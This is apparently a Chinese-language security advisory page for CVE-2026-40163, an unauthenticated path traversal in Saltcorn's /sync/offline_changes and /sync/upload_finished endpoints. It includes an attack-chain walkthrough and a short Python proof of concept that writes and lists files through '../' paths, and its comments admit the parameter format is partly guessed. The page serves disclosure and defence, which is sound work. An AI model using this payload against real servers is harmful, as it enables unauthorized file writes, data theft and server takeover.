IPBUF安全漏洞报告
English
CVE-2026-40163 CVSS 8.2 高危

CVE-2026-40163 Saltcorn 任意文件读写漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40163
漏洞类型
路径遍历, 任意文件读写
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Saltcorn

相关标签

Saltcorn路径遍历任意文件写入任意文件读取未授权访问CVE-2026-40163

漏洞概述

Saltcorn是一款开源的无代码数据库应用构建器。在特定版本之前,系统存在严重的安全缺陷。未经身份认证的攻击者可利用`/sync/offline_changes`接口在服务器文件系统任意位置创建目录并写入受控的JSON文件,同时利用`/sync/upload_finished`接口列出目录内容并读取特定JSON文件。此漏洞可能导致敏感信息泄露或服务器被进一步控制,官方已在后续版本中修复该问题。

技术细节

该漏洞的核心成因在于Saltcorn处理同步请求时,未能对用户提交的路径参数进行严格的过滤和校验,导致存在路径遍历漏洞。具体而言,在受影响版本中,`POST /sync/offline_changes`接口设计用于处理离线数据同步,但攻击者可以构造包含`../`序列的特制JSON数据包。通过该接口,攻击者不仅能在服务器文件系统中的任意位置创建新目录,还能将包含攻击者控制内容的`changes.json`文件写入该目录。与此同时,`GET /sync/upload_finished`接口也缺乏相应的安全机制,允许攻击者利用类似的路径遍历技术,列出服务器任意目录下的文件清单,并读取特定的JSON文件。由于这两个接口均无需身份认证即可访问,攻击者可组合利用它们进行信息探测,甚至可能通过覆盖关键配置文件或写入恶意数据来进一步获取服务器控制权,对系统安全构成严重威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标服务器运行的是存在漏洞的Saltcorn版本,且相关同步端口(/sync/offline_changes)对外开放。
STEP 2
2. 目录遍历与文件写入
攻击者向/sync/offline_changes端点发送特制的POST请求,利用路径遍历字符(../)指定服务器上的任意目录,系统随后创建该目录并写入包含攻击者控制内容的changes.json文件。
STEP 3
3. 文件读取验证
攻击者访问/sync/upload_finished端点,传入相同的遍历路径,读取目标目录的内容以确认文件写入成功,或收集服务器文件系统结构信息。
STEP 4
4. 进一步利用
基于读取到的敏感信息或写入的文件内容,攻击者可能进行进一步攻击,如覆盖配置文件、窃取数据库凭证或部署Webshell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target = "http://localhost:3000" # Define the arbitrary path to write to (e.g., ../../tmp/poc_dir) attack_path = "../../tmp/poc_dir" # Payload to create directory and write changes.json # The specific JSON structure mimics the expected sync payload write_payload = { "path": attack_path, "changes": [{ "table": "test", "type": "insert", "obj": {"data": "arbitrary_content_controlled_by_attacker"} }] } print(f"[+] Attempting to write file to {attack_path}/changes.json") try: # Step 1: Create directory and write file (Vulnerability in POST /sync/offline_changes) response = requests.post(f"{target}/sync/offline_changes", json=write_payload) print(f"[+] POST Response Status: {response.status_code}") print(f"[+] POST Response Body: {response.text}") except Exception as e: print(f"[-] Error during POST request: {e}") print(f"\n[+] Attempting to list directory contents") try: # Step 2: List directory contents and verify write (Vulnerability in GET /sync/upload_finished) # The endpoint might use a query parameter or JSON body, assuming query param based on common patterns or testing read_response = requests.get(f"{target}/sync/upload_finished", params={"path": attack_path}) print(f"[+] GET Response Status: {read_response.status_code}") print(f"[+] GET Response Body: {read_response.text}") except Exception as e: print(f"[-] Error during GET request: {e}")

影响范围

Saltcorn < 1.4.5
Saltcorn < 1.5.5
Saltcorn < 1.6.0-beta.4

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如防火墙或反向代理)上阻断对`/sync/offline_changes`和`/sync/upload_finished`这两个特定端点的访问请求,仅允许可信的内网IP地址调用同步功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表